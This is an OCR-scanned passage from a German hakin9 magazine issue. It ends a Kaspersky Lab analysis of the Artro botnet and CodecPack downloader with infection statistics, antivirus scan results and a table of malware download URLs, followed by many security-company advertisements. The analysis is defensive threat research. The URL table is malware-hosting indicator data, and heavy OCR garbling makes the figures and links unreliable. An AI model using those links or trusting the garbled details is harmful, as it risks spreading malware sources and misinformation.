Indonesien 2,299 %
Kanada 2,294 %
Thailand 22%
Tirkei 1,99 %
Mexiko 1,61 %
Polen 1,55 %
Vereinigte Arabische Emirate 1,50 %
Iran 1,44 %
Sonstige 30,78 %

Auf einem der Computer war unser Produkt mit aktivier-
tem Kaspersky Security Network installiert. Im Laufe ei-
ner gewissen Zeit erhielten wir eine Benachrichtigung
dartber, dass die Perl-Anwendung auf diesem Compu-
ter versucht, Uber bestimmte Links Dateien herunterzu-
laden, die von uns als CodecPack erkannt werden. Die-
se Links sehen Uberaus interessant aus: Sie decken die
Namen der Bots auf, die ihnen von den Autoren selbst
gegeben wurden, und zeigen die Ordnerstruktur auf
dem Webserver, indem sie den Zweck dieses Servers
offenlegen.

Kaspersky Lab
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Abbildung 25. Menge der umgepackten Varianten des
Downloaders Trojan-Downloader.Win32.CodecPack (nach Tagen)
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Das Werbe-Botnetz Artro

Auf diese Weise wurde der Server aufgedeckt, der die
Entdeckung neuer umgepackter Bots und des Down-
loaders CodecPack durch Antiviren-Programme ver-
folgt.

VIRUS .=
TOTAL o

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this &
user(s) with a total of 0 reputation credit(s) say(s} this sample iz malwarn

File name:
Submission date:

s files.in_vimeoHDRviewer.40014.exe
2011-02-24 02:20016 (UTC)

Current status: finished
Result: 40/ 43 (93.0%)

Abbildung 26. Ergebnis der Scans einer zwei Tage alten Datei

VIRUS =
TOTAL &

0 WT Community user(s}) with a total of 0 reputation creditis) sav(g) this s
uzer(s) with a total of 0 reputation credit{s) say(s) this sample is malwareg

File name: s -softin_vimeoHDRviewer.40014.exe
Submission date: 2011-02-24 02:25:38 (UTC)

Current status: finished

Result: 11/ 43 (25.6%)

Abbildung 27. Bedriickendes Ergebnis des Scans eines , frischen”
Samples

url app_file_name
1 hitp: A7~ 114.21.180/avcheck/infected/garbage/21.02/BannerBot_agip2-3.exe i PERL.EXE
2 Tipdr 11421180/ avcheckiiniectediaarbages 21 D2/B annerBot. gipe-2. e4e PERL EXE
3 hitpe e 114.21.180/avcheck /infected/garbage/21.02/BannerBot_gip?-2.exe PERL.EXE
4 hitp:#e.114.21.180/avcheck/infected/garbage/ciypt/B annerBol_gipl-4.exe FERL.EXE
5 hitp:fe . 114.21.180/ avcheck /infected/ garbage/civpt/PopupB ot-2. exe PERL.EXE
E hitp:Ae . 114.21.180/avcheck finfected/garbage/20.02/loader 3-1.exe PERL.EXE
T hitp:de.114.21.180/avcheck/infected/garbage/21.02/HilBol_gip11-4. exe FERL.EXE
8 hitp: A 114.21.180/avcheck fintected/garbage/21.02/HitBot_grp8-2.exe PERL.EXE
9 hitp: e 114.21.180/avcheck /infected/garbage/21.02/oms-3.exe PERL.EXE
10 hitp: A . 114.21.180/ avcheck finfected/garbage/cypt/BannerBot_gipl -B.exe PERL.EXE
11 hitp:de.114.21.180/avcheck/infected/garbage/cyptHitBol_grpl11-2 exe FERL.EXE
12 hitp: e 114.21.180/avcheck /infected/garbage/ciypt/HitBot_grp12-3.exe PERL.EXE
13 htp: A 114.21.180/avcheck finfected/garbage/cypt/oms-8.dll PERL.EXE
14 hitp: A 114.21.180/avcheck /infected/garbage/21.02/BannerBot_gipl-1.exe PERL.EXE
15 hitpdr 114.21.180/avcheckinfected/garbage/21.02/HitBol_gipk-3.exe FERL.EXE
16 hitp: A 114.21.180/avcheck finfected/garbage/21.02/loader3_2-1.exe PERL.EXE
17 hitp: A 114.21.180/avcheck /infected/garbage/21. 02/ loader3_2-4sr.exe PERL.EXE
18 hitpede . 114.21.180/avcheck/infected/garbage/21.02/loader3-1 . exe FERL.EXE
19 hitp: A 114.21.180/avcheck/infected/garbage/21.02/new_bb-2 exe PERL.EXE

Abbildung 28. KSN zeigt, dass Kaspersky Web Anti-Virus
den Versuch von CodecPack erkannt hat, bestimmte Dateien
herunterzuladen

hakin9.org/de

Kaspersky Lab ist Europas grotes Unternehmen fiir Anti-
virus-Technologie und reagiert im weltweiten Vergleich von
Antivirus-Herstellern meist am schnellsten auf IT-Sicherhe-
itsbedrohungen wie Viren, Spyware, Crimeware, Hacker,
Phishing-Attacken und Spam. Das Unternehmen gehort zu
den weltweit vier erfolgreichsten Herstellern von Sicherhe-
its-Losungen fir den Endpoint (IDC 2008). Die Produkte von
Kaspersky Lab haben sich sowohl bei Endkunden als auch
bei KMUs, GroBunternehmen und im mobilen Umfeld durch
ihre erstklassigen Erkennungsraten und kurzen Reaktion-
szeiten einen Namen gemacht. Neben den Stand-Alone-
-Lésungen des Security-Experten ist Kaspersky-Technologie
Bestandteil vieler Produkte und Dienstleistungen fiihrender
IT-Sicherheitsunternehmen.

Weitere Details zum Unternehmen sind unter http://ka-
spersky.de zu finden. Kurzinformationen von Kaspersky Lab
erhalten Sie zudem Uber http://twitter.com/Kaspersky DACH.
Aktuelles zu Viren, Spyware und Spam sowie Informationen
zu anderen [T-Sicherheitsproblemen und Trends sind unter
www.viruslist.de abrufbar.

Fazit

Das Botnetz Artro existiert seit bereits mehr als zwei
Jahren und hat innerhalb dieser Zeit Uberaus beein-
druckende Ausmalie angenommen. Das Schlisselpro-
gramm zum Aufbau des Zombienetzes ist der Down-
loader Trojan-Downloader.Win32.CodecPack, den ein
polymorpher Packer schitzt, indem er ihn mehrmals
taglich neu packt.

Die Inhaber der Botnetze haben sich in erster Li-
nie auf die Erhdéhung des Traffics spezialisiert. Eine
groBe Zahl infizierter Rechner sowie eine sorgfaltig
durchdachte Organisation der ganzen Angelegenheit
ermdglichen es den Cyberkriminellen, Auftraggeber
erfolgreich zu betriigen und an diesem Betrug nicht
schlecht zu verdienen. Zusatzlich zu diesem Geschaft
kommen die Virenschreiber auch durch den Down-
load von Dritt-Malware zu Geld. Die Zahl der infizier-
ten Rechner in Kombination mit den Schwierigkeiten,
die mit der Entdeckung des Downloaders verbunden
sind, machen das Botnetz CodecPack/Artro zu einem
aullerst gefahrlichen Werkzeug in den Handen der Cy-
berkriminellen.

Wir werden die Aktivitat des Botnetzes Artro weiterhin
aufmerksam verfolgen.

ALEXEY KABIEV, MARIA GARNAEVA

Der Autor ist mehrfach Cisco Zertifiziert (CCNP, CCSP, CCDP,
CCAI) und arbeitet seit Jahren als Dozent an einer Cisco Aca-
demy
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Datenschutz jetzt!

Datenschutz ist EU-weit gesetzliche Anforde-
rung. Wir sorgen fiir die Erfullung rechtlicher
Vorschriften und kiimmern uns um ein ange-
messenes Datenschutzniveau in lhrem Unter-
nehmen, auch international.
www.blossey-partner.de

Die Netzwerktechnik steht auf www.easy-ne-
twork.de im Mittelpunkt. Artikel, Tutorials und
ein Forum bieten genugen Stoff flir kommende
Administratoren und Netzwerkprofis.

www.easy-network.de

seed forersics
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Die Seed Forensics GmbH bietet fir Strafver-
folgungsbehdrden professionelle Unterstltzung
in den Bereichen der Datensicherstellung und
Datentragerauswertung. Selbstverstandlich
entsprechen unsere Mitarbeiter, unser tech-
nisches Equipment und auch unsere Raumli-
chkeiten den notwendigen Anforderungen.
www.seed-forensics.de
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Welcome to AV-Comparatives.org
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Securitymanager.de ist eine Produktion des
Online-Verlag FEIG & PARTNER. Seit dem
Start hat sich Securitymanager.de zu einem
fuhrenden Online-Informationsportal in
Deutschland entwickelt und versteht sich als
unabhangiger Informationsdienstleister der
IT- und Information-Security-Branche.
www.securitymanager.de

Pericom base camp IT-Security: Unser Ziel ist
es, unsere Kunden vor moglichen Gefahren
fur Ihre IT-Infrastruktur bestmdglich zu schit-
zen. Neben der Analyse von Risikopotentia-
len durch Security Audits bieten wir, durch
die Implementierung von Security-Losungen,
Schutz vor konkreten Gefahren.
www.pericom.at

4

Happy-Security ist ein neues Portal mit Secu-

rity-Challanges, IT-Quiz, Web-Bibliothek, Multi-

media-Center & vielen weiteren Features.
www.happy-security.de

CloudSafe stellt seinen Nutzern eine Plattform
zur kryptographisch sicheren Ablage und Verwal-
tung von sensiblen Daten zur Verfugung: Nutzer
kénnen auf CloudSafe beliebig viele Dokumente
in virtuellen Safes ablegen. Es kdnnen weite-
ren Personen individuelle Zugriffsrechte auf die
Safes eingeraumt und somit ein sicherer Daten-
austausch ermaglicht werden.
www.cloudsafe.com

AV-Comparatives geht hervor aus dem Inns-
brucker Kompetenzzentrum und gilt als eines
der bekanntesten unabhangigen Testhauser
flr Antiviren-Software.
www.av-comparatives.org

base-camp IT-Security & Solutions: Unser
Ziel ist es, unsere Kunden vor méglichen
Gefahren fir lhre |T-Infrastruktur bestmaoglich
zu schitzen. Neben der Analyse von Risiko-
potentialen durch Security Audits bieten wir,
durch die Implementierung von Security-
Lésungen, Schutz vor konkreten Gefahren.
www.base-camp.cc

. f-_—"-fWoIIen Sie Il'n:%‘i‘eité' eémpfehlen, kor_y_t__aktieren Sie bitte: de@hakin9.org

\ - '—— ._‘



http://www.blossey-partner.de
http://www.blossey-partner.de
http://www.easy-ne-twork.Recommended
http://www.easy-ne-twork.Recommended
http://www.easy-ne-twork.Recommended
http://www.securitymanager.de
http://www.securitymanager.Gefahren
http://www.securitymanager.Gefahren
http://www.pericom.at
http://www.easy-network.de
http://www.getDigital.de
mailto:de@hakin9.org
http://www.pericom.at
http://www.easy-ne-twork.de
http://www.easy-ne-twork.de
http://www.easy-ne-twork.de
http://www.happy-security.de
http://www.easy-network.de
http://www.happy-security.de
http://www.cloudsafe.com
http://www.cloudsafe.com
http://www.seed-forensics.de
http://www.seed-forensics.de
http://www.av-comparatives.org
http://www.getDigital.de
http://www.av-comparatives.org
http://www.base-camp.cc
mailto:de@hakin9.org

Recommended Companies
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mabunté"

nothing but Net.

Mabunta \
Die mabunta GmbH agiert als hoch-
spezialisierter und kompetenter Partner
rund um IT-Security- und Netzwerk-L6-
sungen. Wir unterstltzen bei IT-Sicher-
heitsfragen in allen Unternehmens-
bereichen, verbinden Wachstum mit
sicherer Kommunikation.

Alles in allem- mabunta ,one-face-to-
the-customer®, lhr Spezialist in Fragen
der IT-Sicherheit.

www.mabunta. deJ
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& BXTREME

Information Security

secXtreme GmbH

schutzt lhre Web-Anwendungen bis
auf Applikationsebene. Dazu gehort
sowohl die Prifung von Applikationen
(Pentests und Code-Reviews) als auch
Beratungsleistungen fiir Sicherheit im
Entwicklungsprozess und  Schutzl6-
sungen (Web Application Firewalls) bei
GroRunternehmen und dem gehobenen
Mittelstand.

www.sec-Xtreme.com
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SEC Consult
SEC Consult ist der fiihrende Berater
fur Information Security Consulting in
Zentraleuropa. Die vollstdndige Unab-
hangigkeit von SW- und HW-Herstellern
macht uns zum echten Advisor unserer
Kunden. Unsere Dienstleistungen umfa-
ssen externe/interne Sicherheitsaudits,
(Web-) Applikationssicherheit (ONR 17-
700), Sicherheitsmanagement-Prozesse
(1SO 27001) etc.
www.sec-consult.com

Y

B1 Systems

Die B'1 Systems ist international tatig
in den Bereichen Linux/Open Source
Consulting, Training und Support. B
Systems spezialisiert sich in den Be-
reichen Virtualisierung und Cluster.

v

Tele-Consulting

security | networking | training gmih

\
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Tele-Consulting GmbH

Vom BSI akkreditiertes Priflabor fur IT-
Sicherheit, hakin9 und c't Autoren, jah-
relange Erfahrung bei der Durchfiihrung
von Penetrationstests und Security-Au-
dits, eigener Security Scanner ,tajanas”,
Sicherheitskonzepte, Risikoanalysen,
IT-Grundschutz-Beratung, 3 lizenzierte
ISO 27001-Auditoren, VolP-Planung
und -Security

www.tele-consulting.com
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SYSTEMS info@b7-systems.de
www.b7-systems.de
Blossey & Partner
Consulting Datenschutzbiiro
bless ey Datenschutz ist EU-weit gesetzliche An-

partner

N

forderung. Wir sorgen fir die Erflllung
rechtlicher Vorschriften und kimmern
uns um ein angemessenes Daten-
schutzniveau in |hrem Unternehmen,
auch international. Wir erledigen alle er-
forderlichen Aufgaben, die Faden behal-
ten Sie in der Hand. Nutzen Sie unser
Erstberatungsgesprach.

www.blossey-partner. dy



http://www.sec-consult.com
http://www.tele-consulting.com
http://www.sec-Xtreme.com
mailto:info@b1-systems.de
http://www.b1-systems.de
http://www.blossey-partner.de
http://www.mabunta.de

Recommended Companies

NESEC \
NESEC ist |hr Spezialist fir Penetra-
tionstests, Sicherheitsanalysen und
IT-Security Counsulting. Das NESEC
Pentest-Team unterstutzt Sie bei Si-
cherheitspriifungen lhrer Netzwerke
und Webapplikationen sowie bei Sour-
ce Code Audits. Bei Bedarf optimieren
wir lhre Policy, sensibilisieren Ihre
Mitarbeiter und zertifizieren lhr Unter-
nehmen nach ISO 27001.

www.nesec.deJ

-privacy

m-privacy GmbH \
IT-Sicherheitslésungen — funktional und
einfach zu bedienen!

So prasentieren sich die von m-privacy
entwickelten TightGate™-Server, z.B.
TightGate™-Pro mit Datenschutz-Gu-
tesiegel. Es bietet als erstes System
weltweit einen kompletten Schutz vor
Online-Spionage, Online-Razzien und
gezielten Angriffen!

www.m-privacy.de
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seed forensics

Seed Forensics GmbH \
Die Seed Forensics GmbH bietet
fur Strafverfolgungsbehdérden profe-
ssionelle  Unterstitzung in  den
Bereichen der Datensicherstellung
und Datentrédgerauswertung. Selbst-
verstandlich  entsprechen  unsere
Mitarbeiter, unser technisches Equip-
Omentund auch unsere Raumlichkeiten
den notwendigen Anforderungen.

www.seed-forensics.de
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OPTiMA..ui

business information technology gmbh

OPTIMAbit GmbH

Wir sind Spezialisten fur Entwicklung
und Security. Wir sichern Java, .NET
und Mobile Applikationen gegen Angriffe
externer und interner Art. Unsere Dien-
ste umfassen Audits, Code Reviews,
Penetrationstest, sowie die Erstellung
von Policies. Zusatzlich bieten wir Semi-
nare zu sicherheitsrelevanten Themen.

www.optimabit.com

y

‘Mprotea ':
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Protea Networks \
Protea ist spezialisiert auf IT-Security-
Losungen: Verschlisselung, Firewall/
VPN, Authentifizierung, Content-Filte-
ring, etc. Wir bieten umfassende Bera-
tung, Vertrieb von Security-Hard- und
Software, Installation und umfangreiche
Dienstleistungen (z. B. Konzeption, Trai-
nings). Protea setzt auf Losungen der
Markt- und Technologieflihrer und halt
dafir direkten inhouse-Support bereit.

www.proteanetworks.de
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SECA

secadm \
secadm ist durchtrainierter Spezialist fir
Airbags, ABS und Sicherheitsgurte in der
IT. Zehn IT-Sicherheitsexperten mit 70
Mannjahren Erfahrung beraten, entwi-

SECURE FOR SURE ¢keln und implementieren IT-Lésungen

fur Kunden weltweit. Der Fokus liegt da-
bei auf Themen wie Prozess-Optimierung
und Security-Management. Risiko-Analy-
se, die Sicherheitsberatung, Auditing, Se-
curity-Leitfaden,  Software-Entwicklung,
Reporting bis zum Training.
www.secadm.dy

~
(D) SecureNet

SecureNet GmbH, Miinchen
Als Softwarehaus und Web Application
Security Spezialist bieten wir Expertise
rund um die Sicherheit von Webanwen-
dungen: Anwendungs-Pentests, Sour-
cecodeanalysen, Secure Coding Gui-
delines, Beratung rund um den Software
Develoment Lifecycle. Tools: Application
Firewalls, Application Scanner, Fortify
SCA/Defender/Tracer.

www.securenet.de
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underground_8

secure computing gmbh

Wir entwickeln und vertreiben securi-
ty appliances fir die Bereiche Unified
Threat Management, Traffic Shaping
und Antispam. Unsere Lésungen sind
hardwarebasiert und werden Uber Dis-
tributoren, Reseller und Systemintegra-
toren implementiert und vertrieben.

www.underground8.com
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